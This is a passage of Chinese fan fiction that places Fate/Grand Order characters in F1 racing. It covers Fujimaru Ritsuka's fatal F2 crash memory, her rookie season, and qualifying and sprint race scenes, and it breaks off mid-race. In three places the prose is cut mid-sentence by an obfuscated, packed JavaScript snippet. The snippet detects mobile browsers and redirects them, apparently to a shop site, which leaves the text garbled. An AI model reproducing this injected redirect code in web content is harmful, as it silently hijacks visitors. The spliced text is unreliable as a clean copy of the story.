渺茫的回忆被沉入海底,从此捞针也不得。聚精会神驾驶的大脑,怅惘现实和过去并不相匹配的底端思维,沉甸甸的石头压在心口,有些东西试图用秤砣两端等价交换的道理来告诉自己:开好你的车。 莫名其妙的思绪飞来又飞去,无线电频道中的话语清晰又模糊,而回答医生时的自己同样奇怪又陌生。向着更前一个位置冲,在起步之时就使劲钻孔子奔向更前一点的位次,有机会超车之时也奋不顾身精确计算每一个可能性,绝不被别人undercut,也不允许自己错失undercut别人的机会……百分之百地信任自己的策略组,也百分之一百地信任自己的直觉。可是,无论如何都好,始终有一块石头在心口处滚来滚去还要发出大喊大叫来吸引大脑的注意力:冬木为什么会在三月份下雨呢? 这该是个晴天吗?冬木一定要是一个拥有永远晴朗、永远温暖天气的地方吗? 又或者只是单纯因为,自己无法接受原来藤丸立香这个人对所谓的“家”并不了解呢。 普通人的父母,普通人的家庭背景,普通人的人生轨迹,无论怎么看都和普通人拉不开距离的命运,在一次剧烈坠机后走向彻底相反的方向,却在诡异莫测的未来中仍然保留了属于普通人的无能为力。 F1,有进才有出,有人离场才能有人进场。在这个需得资本累积够格才得以进入的世界,你可以是百万富翁的后代,也可以是人脉关系的代言人,更可以是天才中的天才。当然,你最好还是个白人、男人、有钱人,然后才是“天才”。普通人的自己没有“资格”出现在与生命抢胜利、与极限抢第一的围场里,可一场坠机、一次改变让所有的一切都逆转,也因此走进了另一个世界。幸运与厄运常常接替出现,故事的主人公并非不知道这一点。 没有从低级别的赛事三连跳直奔一级方程式的世界,也没有被大车队的领队从卡丁车时候就指着说“你明年来开F1”。即使拿到了低级别冠军也没得F1车开,更别提连续两年的铜牌、银牌了。准备坚持跑完F2再继续看看机会的车手人生,在兜兜转转终于回归一开始的平行线前,或许会彻底灰暗于一次意外、挫折、病房事故与“恐惧”。 可藤丸立香总是幸运的——在厄运之后。 那天很大雨,像人生所有不好的故事都需要发生在雨天才能让主人公草率地给“雨”字打上不好标签一样的巧合。从卡丁车一路开到F2的赛车生涯似乎终于要摸到一级方程式的边缘了,金光闪闪的梦想有着比金子本身还要璀璨的光彩,让年幼的、年轻的、不成熟的少年不顾一切驰骋于不同时空的赛道之上,用心脏做引擎地驱使轮胎前进。她以为所有的一切都将在“努力=获得”的公式下得到顺风顺水的挫折-成长-胜利。 可那天真的很大雨。卡美洛本就是个拥有多个高速弯角的赛道,持续的大雨与积水让轮胎与赛道的抓地力骤降,甚至于为零。开赛没到十圈,DNF(未完成比赛全程,中途退赛)的选手已经高达五位。占据P1的藤丸立香和她的队友也停下了你追我赶的动作,以慢到“龟速”的速度保持前进,等待着安全车出动或停赛的赛会通知。而意外之所以是意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941695|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外,并非因为其难以想象与猝不及防,只是单纯基于没有人希望其会发生——人们常常恐惧意外,人们也常常被意外困扰着。 直贴混凝土护墙的Copse弯缓冲区面积狭小,一旦失控冲出赛道,极易直接撞击护墙。藤丸在自己第十八圈里第十八次和车组沟通车身弹跳问题,她在被车颠成橙汁之前还慷慨地迎接了大雨浇身、水雾纷飞的加水加冰环节。以至于走线时也再不敢靠近外侧,生怕一个不觉出现入角偏差。 被后车撞上的那个刹那,她尚未意识到后车究竟出现了什么问题,只一心一意控着自己的方向盘以比赛还没结束的态度耐心拯救车子的spin,然后在前车盲区的天然劣势中再遭天降侧箱砸车一个后轮打滑转向过度冲出赛道。在猛打方向盘试图救第二次车的视角里,藤丸立香看到另一台车、另一台与自己所驾驶的一模一样的车,跨过草地与沙砾,直直撞向另一个弯角的护墙——那里有一台吊车。 一台来清理上一台在这里失控退赛的赛车的吊车,以安全为名义进入赛道的它却即将带走另一条生命——哪怕它并不知道。 可是、可是……天哪!在正在比赛的F2赛道上有一台吊车。 喉咙是嘶哑的,心口处是滚烫的、炙热的、痛苦的、愤怒的和绝望的。那台车在自己的眼前如流星般撞进吊车与被吊起的退赛赛车之间,以几乎是击碎混凝土护墙的速度。火花闪烁之间带来“嘭——”的爆炸,试图从混沌中抬眼去寻找自己伙伴身影的事故的另一位主人公,她的血液骤冷于此刻,观众席上的尖锐鸣叫也骤响于此刻。 天哪,所有人的心底都只能发出这个字眼,在正在比赛的二级方程式锦标赛赛道上、在这个没有出安全车也没有叫停赛更没有出示红旗、黄旗的时刻里、在最高速度达335km/h的赛场里面、在这个处于事故多发弯角处的离赛道极近的位置上,有一台吊车。 何其令人心碎的“NO!” 心脏在跳动,思绪被摁停,想要大声嘶吼呼唤一些人名字的下意识被高速撞墙的震荡感吞没,声嘶力竭的怒吼被急刹带来的高压卡在泪水之下。从未停歇的雨水与被赛车掀起的雾带着护墙碎屑与车体碎片一同砸在了藤丸立香的护面镜上方,可她什么都听不见。唯有那一声巨大的爆炸“嘭——”轻松地跨过所有阻碍进入到她的眼睛里,伴随着刺目的那一点红,像血一样鲜艳的红——火在升腾,在雨中。 晕眩的大脑,什么也看不清的眼前,听觉混乱不堪只余叽里咕噜的英语在耳边大嚷大叫,引擎高速运转的声音从不远之处飞驰而过,问自己是否还好的声音在由上到下的360°里回荡,心底始终在询问“她怎么样了”的声音却卡在了喉咙里,什么都来不及说出。 试图从座椅上爬起的动作无法完成,渴望动用声带发出声音的动作也未能成功,身体内外都在承受着疼痛,她却始终执意站立起来。可雨还在下,比赛还在继续,安全车来了又走,拨不开的雾只残留在主人公的梦境里,奋不顾身试图肉身入火救人的动作一贯坚决,可亡音的钟声也从不为任何人停步。 深呼吸会有用吗?作呕的欲望正在翻腾,泪水与怒意正在席卷,大雨瓢泼浇不灭面前的火。那台吊车、那台根本不应该出现在正在比赛的赛道上的吊车,就在眼前,它为挪出无法再运行的赛车而来,为更多的安全而来,最终却带走了更多的生命。 在工作人员的帮助下终于从赛车中踉踉跄跄抵达地面的藤丸选手,这位原本的P1车手被阻拦着不得靠近另一侧的事故与她的队友——另一位时钟塔车手。立香试图摘下头盔让破损的护目镜不会影响到她的视力,可震荡的大脑又让她连走都走不稳,最终只能在救护人员的控制下进入救护车离开围场。所有人都能看到她的泪水,正如所有人都在哭泣一样。 “奥尔加玛丽呢?”她问,“我的队友,在哪里?” 5. 冬木赛道4 我们永远不会再踏进同一条河流。 “最后一圈!霓虹大奖赛冬木赛道的最后一圈!领跑全场的阿尔托莉雅-卡斯特领先P2的加哈拉德1.56s,她即将冲线获得本年度第一个冠军!并领跑积分榜!” “方格旗正在舞动!妖精圆桌反超圆桌本队的戏码连续三年持续上演!杆位选手加哈拉德获得第二名!凭借策略翻盘回归领奖台的贞德Alter P3。而藤丸立香!这位刚刚度过自己二十岁生日的年轻选手,在新秀第一年的第一站比赛中从P10的发车位起步,最终拿下了P4!不可思议的优秀成绩!” 同一时间——迦勒底TR “P4,立香,good job,”不论输赢都会出声鼓励的赛道工程师笑道,“我们为你骄傲。” “yahhhh~”单手探出halo向观众席挥手的立香语气轻快,“谢谢大家,是属于我们所有人的P4,卡多克位置多少?” “P6,你们发挥都很出色,祝贺。” “P4加P6,十二加八,噢噢!那我们就有二十个积分了!好耶!” P4,所以没得领奖台也没得香槟喷,和车队热热闹闹大吼大叫后自动自觉来到采访区的立香乖巧面对长枪大炮们的刁难与祝贺。四两拨千斤地跳过关于朋友们首站便已打响的火热世界冠军争夺时刻,冷静以对自家车队为啥车突飞猛进的疑惑,随即卡壳于为什么退出赛场近两年的问题。 她的笑容浮于表皮,在即将维持不下去与强制自己不说脏话之间选择了理智回炉,藤丸立香仍旧笑着:“巧克力很美味不是吗?我想我应该算得上最会烹饪的F1车手和最会开车的甜点师傅吧?” 结束即时采访的环节,神游天外地在赛会人员的指引下完成称重,比出好成绩还喜提最佳车手的好心情在某个采访问题后便荡然无存。她路过颁奖仪式,随即惨遭特地下台只为喷立香一身香槟的卡斯特袭击,灵活避开的立香在加哈拉德和贞德alter的助力下飞速逃离现场抵达迦勒底车队的区域,然后在赛后复盘会上继续灵魂出窍,只剩笑容和“yes”还在工作。 敏锐察觉到什么的车队人员都平静地给她留出自己消化的时间,采访时就一直跟随的Pr姐姐摸了摸小孩的头以示安慰,立香在结束自己的神游之前被自家欢欢呼呼如古前猿猴的监护人给予了突如其来的大力拥抱。 “我想我们应该开一瓶香槟作为晚宴的开始!”在赛季的一开始就已经看到车队明年不用被卖出的美妙未来,提出聚餐邀约的戈尔德鲁夫-穆吉克难掩喜气洋洋,以至于忘记背靠背的赛程安排,也忘记了车队人员今夜就要陆续飞至下一个赛道的行程。 正在等司机来接然后赶往机场奔赴下一站的立香安静收拾着自己根本没多少东西的双肩包,什么话也没说,像幽灵一样飘出会议室,只恶作剧般地给自家监护人留下脖子背后的飕飕冷风。 “立香!!!” 带着监护人的大怒离开,喜气洋洋的心情愉悦只会转移不会消失,哼着跑调的小曲独自登上穆吉克家还没有破产的象征物之一——私人飞机,步伐轻快的立香与蹭机的哈桑队打招呼,以一局uno打开消磨时光的娱乐活动time,随即以藤丸立香选手围场大赢特赢、打牌大输特输的恼羞成怒、怒不再打版游戏结果降落在奥尔良机场上。她在赢家们的注视下悻悻然离场,在思考出自己直奔哪位法国朋友家比较好的答案之前,先行被同时间抵达机场的贞德alter无情拖走:“你还欠我六场约会。” “哎~为什么今天打直球了?因为爱德蒙吗?”立香趴伏在司机的银发后面,与机车两边呼啸而过的风打了个招呼才好奇地问道。 “哼,少说话,等会吃一嘴灰。” “哎呀,关心我可以直接说的~” 轻松的赛后时光,温暖的夜聊时刻,习以为常的倒时差时间与漫长的失眠夜晚。藤丸立香在次次日的晚上从本地人车手朋友的家里回到了车队下榻的酒店,只带着自己的一个双肩包。在比赛日到来之前、在排位赛到来之前、在练习赛到来之前、在媒体日到来之前……掰着手指头数日程的选手在发出对安排背靠背赛程还要霓虹直达高卢鸡的fia的怒骂前,先行数清楚了自己是第几个晚上睡不着。 也可能数不清,但是大脑需要自己数清楚,好让自己的思维感觉上是清晰的、有条理的,而非如此刻般难以自抑痛苦思绪的狼狈。双手抱膝是一种会给予人安全感的动作,将人体完整地缩在厚重被子里,通过全身被包裹的感知同样可以得到安全感。可是,为什么会拥有这样漫长的不安呢? 放置在床头柜上的手表正在发出规律的“咔嗒咔嗒”,试图将思绪清空只做聆听的姿态,却遗憾败北于大脑始终在回忆过去的混乱。 她凝视天花板的纹路,视力5.0的优越之处在于她在黑暗之中也能勉强看清那纹路究竟是什么——赛车、卡丁车……都是车啊,她发出这样的感慨——只是因为F1赛事的即将举办吗? 没来得及思考是谁给自己订的赛车主题房间,飘至遥远之地的意识被时差与舟车劳顿的身体疲惫牢牢摁进一片黑暗的梦里,她只是在想:哦,卡丁车啊,那又能意味着什么呢? 作为进入F1赛车的基础门槛,卡丁车,保底数百万英镑起步的金钱投入是最基础的部分,只是藤丸立香没有忧虑过这点,因为她打从一开始就不是为了开车而来开车的。 “你希望我去吗?”小小的孩童跨过山与海跟随新的监护人抵达远离家乡与恶梦之地的地方,她从摆弄摄像头的认真姿态中抬起头来看他。 “到赛场能拍出更好的动态捕抓哦!”大人如此诱惑道。 很多人,大部分是小孩子,小部分是旁观者的大人与更多的小孩,俯视一切的立香给出赛道很小的评价,她松开与家长秘书相牵的手,却没有拿起挂在脖子上的相机。立香抬头看向高扬斯卡娅小姐,犹豫片刻才问道:“如果今天只有我们两个的话,不应该去和红老板一起做义工吗?” 小孩的疑问被笑眯眯的大人用笑容压了回来,只得乖乖换好衣服坐上卡丁车的立香第一次握住卡丁车的方向盘,心中明明更多的是对如何驾驶的迟疑,大脑已自动自觉完成了对教练所说的所有话的消化,身体已完全不像个新人地启动了。 同人文的赛车天赋加成正在工作,与生俱来的驾驶技术正在运转,走线只失误一次便能熟练掌握如何用最短的时间通过弯道,热衷于在直道上紧跟对手利用尾流,每一次车子本身出现甩尾或推头的失误都能耐心救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941696|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车,用打游戏狂摁键盘的姿态把控手中方向盘,激进的进攻以及强势到貌似与防守无关的防守。 她在连续好几个星期都被大人带着坐上卡丁车连跑数次比赛,用自己的名字霸占卡丁车俱乐部榜首数日后才意识到一件事:“拍照不应该在观众席吗?” “啊?”热爱赛车运动正以为穆吉克家能出第二位天赋车手的监护人来不及为自己的快乐保留多几天的喜气洋洋,他困惑,“立香你原来不喜欢卡丁车吗?” 于是,稀里糊涂的卡丁车生涯就这样开始了,年幼的小孩在心底想着自己应该挺喜欢的吧?可她终归没抱太多热情——但是戈尔德鲁夫看起来很高兴,所以开到不能再开的时候离开也没问题吧?毕竟自己本来也没什么天赋。 奥尔加玛丽-阿尼姆斯菲亚,藤丸立香在卡丁车赛场上认识的第一位同龄人,她就是出现在这个时候的。 “恭喜立香提前一站拿下本年度的二级方程式锦标赛冠军,统治级别的积分名次,之后有什么打算吗?” “呃,”刚刚才结束车队的庆祝时刻,满身是汗的立香使劲捣鼓安置好自己头顶不安分的帽子,她对着镜头第一次露出有些腼腆的神色,却又神采奕奕拥有璀璨到可类比庆贺冠军盛大烟火的金色眼眸,“还没有想好,下一站是卡美洛希望能好好发挥,不过我和家里人约好冬休要去跳伞了!车队所有人都会去!噢噢!我还和玛丽约好一起去游艇跳海,因为上一年她拿到冠军的时候也第一个跳了,一跃而下跳进水里的感觉据说会比蹦迪好,等我尝试完一定告诉大家!” “哇哦,很丰富的度假活动,不过下一站的发挥再怎么样也对年度冠军没有影响了,可以放宽心地比,立香关于下个赛季的比赛有更多要分享的吗?”记者注视着对方明媚的笑容也跟着一道笑了起来,“你的队友奥尔加玛丽明年就要进入一级方程式成为迦勒底的车手了,立香明年的计划是什么呢?” “暂时没有,虽然我们说好未来要一起为同一支车队效力,也约定好以后一定要继续当队友……不过目前还没确定好明年确切情况,但是我最近的计划是学做巧克力!”立香又下意识地笑了起来,“到时候希望能把成功的巧克力给围场的大家都派一个遍!” “那提前祝福立香你能成为所有车手里最会做巧克力的甜点师!”记者脸上笑容同样灿烂,仿佛两人身处喜剧剧场而非赛后采访,“第一块会是给玛丽的吗?” “当然!” 车队主场的卡美洛站,藤丸立香十八岁的最后一场比赛,也是那一年F2年度赛事的最后一场比赛。因为退赛了所以没有任何积分进账,但因那一赛季早早拥有了统治级别的积分排名所以最后一场比赛退赛也仍旧拿下了F2冠军,她在赛后出院后宣布自己拒绝了圆桌车队的邀请,并在短时间内不会回归围场与赛车。 “你也是跑卡丁车的车手吗?”银发金眸的来人问,语气骄傲地说着自己的父亲是一级方程式的世界冠军,大名鼎鼎的时钟塔车队也由自家天体科集团主要控股。 “榜首第一的名字好像是你,”立香问,“那要和我一起吗?” “不要,”她抬起头来看LED屏幕上闪烁的最新的最快圈速,没有与立香对视,“我们再也不会一起开卡丁车了。” 6. 奥尔良赛道1 被拖着从床上爬起来,无法理解一天前的自己为什么执意要约大清早打板式网球,立香神色呆滞地与镜中的藤丸对视。三月份的法国乍暖还寒,阴晴不定,不知道究竟应该穿什么的年轻人在感觉会热的微妙直觉中选择了短袖长裤薄外套(全是队服),随即因为运动热极而化身短袖短裤人士。浑身散发热气的立香步伐轻快,她在迦勒底体能训练的场地上与被厚外套裹成大吐司的队友面面相觑。 卡多克审慎地打量藤丸立香一番,最后一个字也没能憋出来,只能语塞地直奔理疗室好逃离藤丸立香的探究の凝视。结束今日份轻度训练以做简单恢复的立香跟着工作人员往媒体室走,准备开始接下来的赞助商连线活动,她打着哈欠和Pr姐姐继续发散自己第N遍对背靠背赛程的怨念,在得到温暖抱抱与零食投喂后美滋滋且安分地进入平日对外活动时常常使用的积极立香模式。 “立香,明天媒体日的官媒专访,你和卡多克还是和alter车队的两位一起噢,不能像上周一样。”Pr神色严肃叮嘱自家看起来乖乖学生样的车手。 “诶——”立香委屈,“明明是爱德蒙和Alter亲先说的话题。” “被fia罚款的时候不要哭着回来找大人。” “好吧、好吧。”立香在Pr的凝视下扁扁地进入镜头,一到Pr视线之外、镜头之内就光速变身游戏小达人完成录制——今年的愿望之一是烤格子冠军! 奥尔良赛道上没有奥尔良烤鸡翅,但是有奥尔良站特别涂装的SB18。对头盔涂装有自己见解的立香兴致勃勃尝试手动DIY新的样式,最终在成果似乎哪里不对劲的微妙自我评价中选择了放弃,糟糕的结果使她一整个周四的媒体日都神色恹恹,气氛活跃的活竟有朝一日落到队友卡多克的头上。 只是、显而易见的是,来到台下的粉丝们没有任何一位能对Alter车队的两位车手除附和藤丸立香外的动作抱有期待,谜语与点火是这两位的拿手好戏。当然,从某种角度上也直接导致了赛会绝不能将莫德雷德、芭万希等和这俩放到一起的采访安排,否则只会迎接更加糟糕的四人官方专访。 主持人的多次示意终于被结束神游天外的立香接收,在心底终于说服自己下次DIY成果一定会更完美的她眨眨眼。先左转头看爱德蒙,再右转头看Alter亲,最后偷偷隔着Alter亲与她身旁的卡多克发出“队友你怎么不在我旁边”的困惑视线激光。 通红的十字路口在卡多克的额角散发着无语凝噎的气息,他在队友的恳切眼神中端起麦克风说着第无数遍的捧场话好响应主持人的每一个提问,以示车迷们大价钱购入的入场券并没有被白费。 拥有冲刺赛的周末,赛程安排常常紧凑的能把车手们压榨至死。本年度唯一的新秀选手藤丸立香是一众背靠背行程神色恹恹的车手们中唯一神采奕奕的。 外在表现的精气神与她嘴上常常抱怨的并不成正比,她在卡斯特“立香你这个骗子”的抱怨连天中笑容满面地与两侧观众席上不论是不是自己车迷的观众们疯狂挥手以展示自己热情的上班状态。 仅有的一次自由练习的FP1一练在周五的下午,单圈冲刺模拟的立香与长距离衰减模拟的卡多克各有各的不顺之处。挠着头为今天达到理想工作窗口的胎温数据所需要的时间与圈数而感到奇怪,困于驾驶舱内的立香在维修区内松开方向盘,比手画脚与技术总监和车组人员讨论调校的立香苦思冥想地化身皱巴巴老橘子,她在就差自己亲身上阵手搓前翼之前,先行得到达芬奇亲的一语惊醒梦中人の技术解救。 悠哉悠哉的下班步伐并不能很快上线,周六的冲刺赛迫在眉睫,今日的冲刺赛排位赛SQ时间段也即将到来。三节淘汰制(SQ1, SQ2, SQ3),决定二十位车手周六冲刺赛的发车顺序,因为初步调校问题在维修区待得比较久,立香在SQ1拉表后、大多数车手都差不多进入赛道开跑后才缓慢驶出P区。 “赛道温度正在下降,立香,我们尽可能以较好的一圈完成Q1减少轮胎消耗。” “那就是只跑两个计时圈(一个准备圈,一个飞驰圈)?”立香在tr中和罗曼确认,“可以是可以,只要没有红旗。” “是的,请注意伊莫拉弯的右后轮。” “Copy。” 从不同的赛车旁驶过,激进的左右摆动在藤丸立香的方向盘下来来又回回,她在心里哼着不成调的梅莉新曲,刹车区激进的大开大合踩踏只为快速升温,轻轻松松的暖胎圈正在为接下来的完美单圈做准备。 引擎的嘶吼丝滑如她赛前咀嚼的巧克力,流畅的赛车运行,立香在糟糕的路况中不为所动地避开几辆“缓慢”如老爷爷过红绿灯的车,从容不迫地刷了一段紫后冲线。 “温度降太快了!”得到自己单圈成绩的立香在tr中抱怨,“我居然需要减少刹车通风。” “目前你在第三位,ALTER车队的两位车手暂列一二,”罗曼没接茬,继续冷静鸡娃,“Q1还有2分钟。” “赛道情况也太合适他们两个了,”立香吐槽,“但凡换到稍微热一点的地方……” “你和第二位的贞德Alter差0.69s,都是软胎成绩。”罗玛尼及时补充。 “啊?他两都用软胎这么冒险,”闻言大惊的立香,“+0.69s?!” 主场车队的应援,即使快近傍晚也仍旧盛况空前,Alter车队的两位车手SQ1的P1、P2带回成绩让复仇之火的旗帜也愈发热烈起来,热热闹闹的一大片恰好对照着立香的P房。她在SQ1和SQ2的间隙时间里深沉思考了一番为什么Alter车队的团票位置是对着迦勒底位置卖的,随即释然地想起上一年如果卖迦勒底的团票肯定卖不出去的这件事。 她悠哉游哉地在车内将梅莉的新曲哼出声,随即立刻得到了tr里罗曼感到羞耻的抗议,立香笑着不回答,在SQ2一开始就立即打申请,要求进赛道里超越自己朋友们的成绩,顺势略过耳边还在进行的抗议声。 “SQ2我们只做一次冲刺,节省软胎性能。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941697|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “Copy,”立香回答,“卡多克中性胎跑得怎么样?” “今天使用软胎的车手普遍表现不错。”罗曼没有直接回答。 “那就是我赌成功了~希望明天也能行得通。” 迦勒底车队战术分化的一人激进软胎到底,另一人稳健中性胎确保冲刺赛的最低风险,而两轮后的成功是挤入前三的立香和留在前十的卡多克都成功晋级入SQ3。维修区的技术总监摸自己完美无瑕堪比名画蒙娜丽莎微笑的美丽面孔,对着屏幕上拥挤的数据陷入沉思。 FP1的调校太偏向长距离,立香排位赛的单圈速度基本属于“盲调”出来的结果,SQ3所用配方决定了明天冲刺赛起步只能是软胎,存在冲刺赛中早期被对手超越的风险,但是奥尔良赛道不易超车的特点又能为此赌上一把。在思考中突然意识到自己完全被立香激进战术提议带歪的达芬奇亲停顿了思路,她给场上刚刚开始跑SQ3赌软胎搏杆位的立香送去又气又笑的欣慰语气,随即猛遭罗玛尼“这不是很像你吗?”的攻击。 “啊!又是这样!”打断两人的立香在tr中冒怨气,“怎么每次都是这样!——” “虚拟安全车,凯尔特的库丘林在十号弯冲出赛道,保持耐心立香。” 为自己出场圈-准备圈-飞驰圈的完美计划被打乱而恼火,想起自己冬木站也是这样的立香郁闷地在赛道上保持节奏,等待下一个飞驰圈的被允许开始。 “轮胎温度合适,前车是哈桑的耀星,注意别吃到乱流。”罗曼提醒。 “Copy,”立香回问,“汪酱还好吗?” “已经回到了凯尔特的P房了,还未做出SQ3有效成绩。” “噢可怜……”联想到什么的立香语气悲切,她在VSC结束后飞快开始自己的下一个飞驰圈,生怕意外事件的再次袭击。 已经逐渐摸清每个弯抓地力极限的立香不再小心翼翼寻觅切入点,全油门的高速右弯,轻微收油的左弯,谨慎避免转向过度的甩尾。软胎的衰竭速度是所有轮胎中最快的,摆弄方向盘的立香将自己的耐心与冒险都留在头盔内部,哼着有一搭没一搭的曲调将歌声做引擎,竭力边做好轮胎管理边不失速度地飞奔向前。走线明确的刹车点和弯心进出,看起来轻轻松松没有意外情况发生的一圈飞驰,明确自己后两段刷紫暂列P1后得意非常的立香郁闷于两秒后Alter车队两位车手的猛猛刷紫最快圈交替来。 “顺带一提,卡美落圆桌的两位成绩也相当不错,仅慢你0.02s和0.09s。” “好的~好的~我很冷静~” “但是今天很不错,明天冲刺赛你在P3起步,”罗曼大力夸奖,“相当不错的成绩,非常非常值得夸赞自己噢。” “……Copy,”立香停顿片刻,在tr中报以幽幽低语,“刚刚达芬奇亲是不是说我坏话了~” “哎呀,这叫大棒加糖——越跑越快~”达芬奇亲大笑答道,“可以开回来了呦,留在赛道上可没法给你万能天才的智慧加成拥抱。” 7. 奥尔良赛道2 奥尔良赛道,永久性赛道,有17个弯(9右,8左)和2条DRS区,以中高速弯角结合长直道闻名,单圈4.411公里的赛道格局,冲刺赛需要跑23圈共计100公里的短途竞速。沐浴着晴天的温暖阳光,立香立于高处俯视赛道,她在微风中慢慢悠悠从观众席的高处往维修区走。 P3的发车格虽还不算头排起步,但是对于新秀而言,无论怎么看都是个出众成绩,唯独车手本人犹觉不满。耐心地摁下自己躁动的心绪,保持冷静地试图在起步就超车,立香对在赛道上超越自己的朋友们拥有跃跃欲试的渴望。 “读者朋友们中午好,这里是Type Moon体育频道,即将开始是本年度型月世界一级方程式的奥尔良大奖赛,欢迎来到本赛季的首个冲刺赛!” “值得一提的是,在完成稍后开始的冲刺赛后,下午还有明天正赛的排位赛噢~不容错过的复仇车队主场大作战,两位alter车手也是在昨天的冲刺赛排位中发挥出色,P1、P2头排起步,低温赛道与中高下压力对alter车队可以说是相当友好。圆桌二队的两位车手在昨日的练习因为轮胎配方较硬都没能跑出非常好的成绩,倒是迦勒底的藤丸立香软胎到底反而拼出了好成绩,但是P4发车的莫德雷德选手也同样非常擅长起步超车,真是紧张的等待时间呀!” “今天大部分车手都选择了中性胎出发,应该是想一胎到底跑完全程,毕竟冲刺赛这么短的赛程还要进站换胎是真的不划算。” “也可以赌一下软胎起步,中途安全车进站换胎,不过全场二十位车手只有前面P1-4的四位唐泰斯、贞德alter、藤丸立香和莫德雷德选择了软胎,应该是昨天的排位赛跑出非常好成绩的原因。但是目前正值中午,赛道情况又和昨天下午的不太一样了,是否软胎出现衰竭情况会比昨天更早呢?暖胎圈目前还不太能从车手们的表现中看出太多东西,一切都得看比赛的具体情况了。” “好——五盏红灯!全部熄灭!奥尔良冲刺赛正式开始!” “诶诶诶——头排的两位真是你追我赶准备1号弯,杆位的唐泰斯选手在直道上一直‘画龙’压阵维持自己的领先优势,P2的贞德alter是……后轮空转了吗?很容易影响首圈后续弯角的性能发挥啊!后面车辆的起步可以说是非常非常混乱!阿尔戈的赫拉克勒斯毫不留情地超越了同队的伊阿宋,罗马车队的雅兰杜似乎和妖精圆桌的卡斯特杠上了直接让后车加哈拉德来到P5的位置!” “P3、P4的藤丸立香和莫德雷德一路并排来到1号弯,领先的唐泰斯选手防守内线,P2的贞德alter也不甘示弱,正在利用尾流和内侧机会攻击杆位——哎走大了!” “这是刹车点太晚了吧?低温刹车盘效能不足,与前车的距离判断也有点失误,还让后面的莫德雷德也遭了殃,好像是撞到了右前轮吧?P3的藤丸立香趁势上了一个位置,一位相当擅长钻空子(字面意思)的车手呢。” LAP2,迦勒底TR: “我!在!飘!浮!”立香在自己的头盔里大喊,超车一位的喜悦没能保留多两圈,她悲愤交加地和自家工程师控诉自己屁股底下的车有多么不善解人意,“没有抓地力!没有抓地力!我一直在跳!像跳胡桃夹子一样在空气里滑来滑去!而后面还有一辆烧着火的复仇车在追我!” “Copy,专注于你自己的节奏,不要过度防守损耗轮胎。预计5圈后情况会好转。保持稳定。” “轮胎像石头一样硬,我的心也是,”还在抓狂的立香说着毫无笑点的冷幽默试图让自己冷静下来,她老实接收指令,“Copy。” “发车时与莫德雷德发生意外而跌到P5的贞德alter一路push追到了P2的位置,迦勒底的两台车似乎都出现轮胎迟迟未能进入工作区间的问题,藤丸立香勉强拖了贞德alter两圈就在第四圈‘让’出了P2。” “莫德雷德在第一圈发生碰撞后把车开回了维修区顺带换回中性胎,目前是从最后的位置开始一路狂追,不过如果没有安全车可以‘免费’换胎的话,她应该是和全场车手相比都有轮胎优势的。” “这一场的软胎似乎情况不错呀,虽然选择软胎极为冒险,但是如果成功了也是非常划算的。而现在都第十四圈了,软胎黄金窗口期(优势期)都过了还没出现衰竭,alter车队的两位一路push已经建立起差不多10s的领先优势了。” “这个领先优势可以说是后面的保胎生存期了,不过P3的这台SB18似乎比两台Alter晚了差不多整整两圈才度过挣扎升温期,但现在就已经多次出现出弯后轮打滑的情况了。藤丸立香在车队无线电里几乎每一圈都要和工程师确认每圈的损失时间,不过这位车手的保胎能力,上一站完整比下来后可以说是有目共睹有口皆碑的……哎呀怎么突然红旗了?” LAP14,迦勒底TR: “十号弯发生意外,”罗玛尼的声音里有电流声乱蹿,“红旗!红旗!(比赛完全暂停,所有赛车必须返回维修区)立香,好机会!” “Copy。”保胎保到神志不清的立香喜悦不过一瞬间,“谁?还好吗?” “凯尔特的奥特琳德和罗马的伊丽莎白,都没事。” “好的。” “全赛道最快的全油门右弯!十号弯!凯尔特的奥特琳德与罗马的伊丽莎白发生碰撞,低温下下压力与抓地力均不足问题正在凸显!这下极其利好几位软胎选手呀,但不停赛也不行,两台车都在赛道的关键位置横停着。” “哎这不就是免费换胎,原本有几位中性胎选手都快咬上来了,卡美洛圆桌的两位在车队要求下放弃队内斗争后,刚刚几乎就快一起来到藤丸立香背后1s内了!这下全都回维修区换胎,等会比赛重启,前排真的是看谁能先把胎暖起来,谁就赢了。” 暖胎圈期间不断进行剧烈的“S”形摆动和间歇性刹车,一心一意为轮胎和刹车盘加温的立香紧抓前面领先优势全部归零的两位Alter车手背影,低温低抓地力条件下,稳定的后部与尚且可控的转向不足从藤丸立香心中一跃化身救世主——勉强保住P3了! “静态发车,混乱的重启啊!大洗牌!大洗牌!P1 